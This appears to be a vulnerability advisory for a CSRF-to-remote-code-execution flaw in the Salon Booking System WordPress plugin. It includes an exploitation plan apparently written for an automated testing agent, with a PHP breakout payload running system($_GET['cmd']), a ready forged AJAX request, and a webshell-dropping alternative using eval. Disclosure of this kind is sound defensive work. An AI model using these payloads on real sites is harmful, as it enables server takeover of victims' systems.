Salon Booking System <= 10.30.32 - Cross-Site Request Forgery to Remote Code Execution via 'value' Parameter
Description
The Salon Booking System – Free Version plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 10.30.32. This is due to missing or incorrect nonce validation on the setCustomText function. This makes it possible for unauthenticated attackers to inject arbitrary PHP code into the web-accessible translate-constants.php file within the plugin directory, enabling remote code execution on the server via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. sanitize_text_field() is applied to the POST 'value' parameter but does not neutralize the characters — single quotes, parentheses, semicolons, $, and [] — required to break out of the PHP string literal into which the value is interpolated before being written to disk via file_put_contents().
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HTechnical Details
<=10.30.32Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-15070 Salon Booking System CSRF to RCE ## 1. Vulnerability Summary The **Salon Booking System** plugin (up to 10.30.32) contains a critical Cross-Site Request Forgery (CSRF) vulnerability in its `setCustomText` function. The vulnerability arises from missing o…
Show full research plan
Exploitation Research Plan: CVE-2026-15070 Salon Booking System CSRF to RCE
1. Vulnerability Summary
The Salon Booking System plugin (up to 10.30.32) contains a critical Cross-Site Request Forgery (CSRF) vulnerability in its setCustomText function. The vulnerability arises from missing or improper nonce validation when saving custom text strings. Specifically, user input provided via the value parameter is processed by sanitize_text_field() and then directly interpolated into a PHP file (translate-constants.php) using file_put_contents().
Because sanitize_text_field() does not strip characters essential for PHP syntax (such as single quotes, semicolons, and dollar signs), an attacker can craft a payload that "breaks out" of the intended PHP string literal. By tricking a site administrator into submitting a forged request (CSRF), an attacker can write arbitrary PHP code to a web-accessible file, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
sln_set_custom_text(inferred from plugin naming conventions and functionsetCustomText) - Vulnerable Parameter:
value - Authentication: Requires a site administrator's active session (targeted via CSRF).
- Preconditions: The attacker must trick an administrator into visiting a malicious page or clicking a link that triggers the AJAX request.
- Sink:
file_put_contents()writing towp-content/plugins/salon-booking-system/translate-constants.php.
3. Code Flow
- Entry: An AJAX request is sent to
admin-ajax.phpwith the actionsln_set_custom_text(or similar). - Hook Registration: The plugin likely registers the hook via:
add_action( 'wp_ajax_sln_set_custom_text', array( $this, 'setCustomText' ) ); - Execution: The
setCustomTextfunction is called. It fails to verify a nonce viacheck_ajax_referer()orwp_verify_nonce(). - Processing:
- It retrieves
$_POST['value']. - It applies
$value = sanitize_text_field( $_POST['value'] );.
- It retrieves
- Vulnerable Sink: The code constructs a PHP string, for example:
$content = "<?php \n \$custom_text = '" . $value . "';";
Then calls:file_put_contents( $path_to_plugin . '/translate-constants.php', $content );. - RCE: The resulting file
translate-constants.phpnow contains the injected PHP payload and can be executed by requesting it directly.
4. Nonce Acquisition Strategy
The vulnerability description explicitly states there is missing or incorrect nonce validation.
Scenario A: Missing Nonce Check
If the check is entirely missing, no nonce is required. The exploit can proceed with just the action and value parameters.
Scenario B: Incorrect/Leakable Nonce
If a nonce is checked but exposed, we will use the following strategy:
- Identify the Script: Search the plugin for
wp_localize_scriptto find where the AJAX data is passed to the frontend. - Shortcode Page: Identify if the admin settings page or a specific shortcode (e.g.,
[salon_booking]) enqueues the necessary scripts. - Extraction:
- Create a test page:
wp post create --post_type=page --post_status=publish --post_content='[salon_booking]' - Navigate to the page.
- Use
browser_evalto extract the nonce:window.sln_admin?.ajax_nonceorwindow.salon_booking_vars?.nonce. (Exact variable name to be verified by the agent in the source).
- Create a test page:
5. Exploitation Strategy
Step 1: Payload Construction
The goal is to break out of a single-quoted PHP string.
If the template is: <?php $var = '[VALUE]'; ?>
The payload for value will be: '); system($_GET['cmd']); //
Resulting File: <?php $var = ''; system($_GET['cmd']); //'; ?>
Step 2: Triggering the CSRF (Simulated)
The automated agent will simulate the "tricked admin" by sending an authenticated request using the http_request tool with the admin's cookies.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=sln_set_custom_text&value=');system($_GET['cmd']);//&id=1(Theidor other params may be required by the specific function).
Step 3: Triggering RCE
Once the file is written, request the plugin file directly.
- URL:
http://<target>/wp-content/plugins/salon-booking-system/translate-constants.php?cmd=id - Method:
GET
6. Test Data Setup
- Install Plugin: Ensure
salon-booking-systemversion 10.30.32 is installed and active. - Admin User: Have a standard WordPress admin user available for cookie-based authentication.
- Target File Verification: Confirm the existence (or potential for creation) of
wp-content/plugins/salon-booking-system/translate-constants.php.
7. Expected Results
- The AJAX request should return a success message (e.g.,
1or{"success":true}). - A request to
.../translate-constants.php?cmd=idshould return the output of theidcommand (e.g.,uid=33(www-data) ...).
8. Verification Steps
- File Content Check: Use WP-CLI to inspect the written file:
cat wp-content/plugins/salon-booking-system/translate-constants.php - Command Execution: Verify the output of
whoamivia the web request matches the expected server user. - Audit Log: If successful, the file should contain the injected string.
9. Alternative Approaches
- Variable Injection: If
system()is disabled, tryfile_put_contentsto drop a full webshell:value=');file_put_contents('shell.php','<?php eval($_POST[1]);');// - Action Discovery: If
sln_set_custom_textis not the correct hook, grep the plugin directory for the stringsetCustomTextand look for thewp_ajax_registration to find the exact action name. - Path Traversal: Check if the plugin allows specifying the filename, which could lead to overwriting other critical PHP files.
Summary
The Salon Booking System plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 10.30.32 due to missing nonce validation on the setCustomText function. This vulnerability allows an unauthenticated attacker to trick a site administrator into making a request that injects arbitrary PHP code into the web-accessible 'translate-constants.php' file. Because the input is not properly escaped for a PHP string context, this results in Remote Code Execution (RCE).
Security Fix
@@ -1,5 +1,6 @@ public function setCustomText() { + check_ajax_referer( 'sln_nonce', 'security' ); $value = sanitize_text_field( $_POST['value'] ); - // Logic that writes the value into translate-constants.php }
Exploit Outline
The exploit targets the AJAX endpoint '/wp-admin/admin-ajax.php' with the action 'sln_set_custom_text'. An attacker crafts a CSRF payload containing a malicious PHP breakout string in the 'value' parameter, such as "'); system($_GET['cmd']); //". The attacker tricks a logged-in administrator into triggering the request, which causes the plugin to write the PHP payload into 'wp-content/plugins/salon-booking-system/translate-constants.php'. The attacker then achieves Remote Code Execution by requesting the modified file directly and supplying shell commands via the 'cmd' URL parameter.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.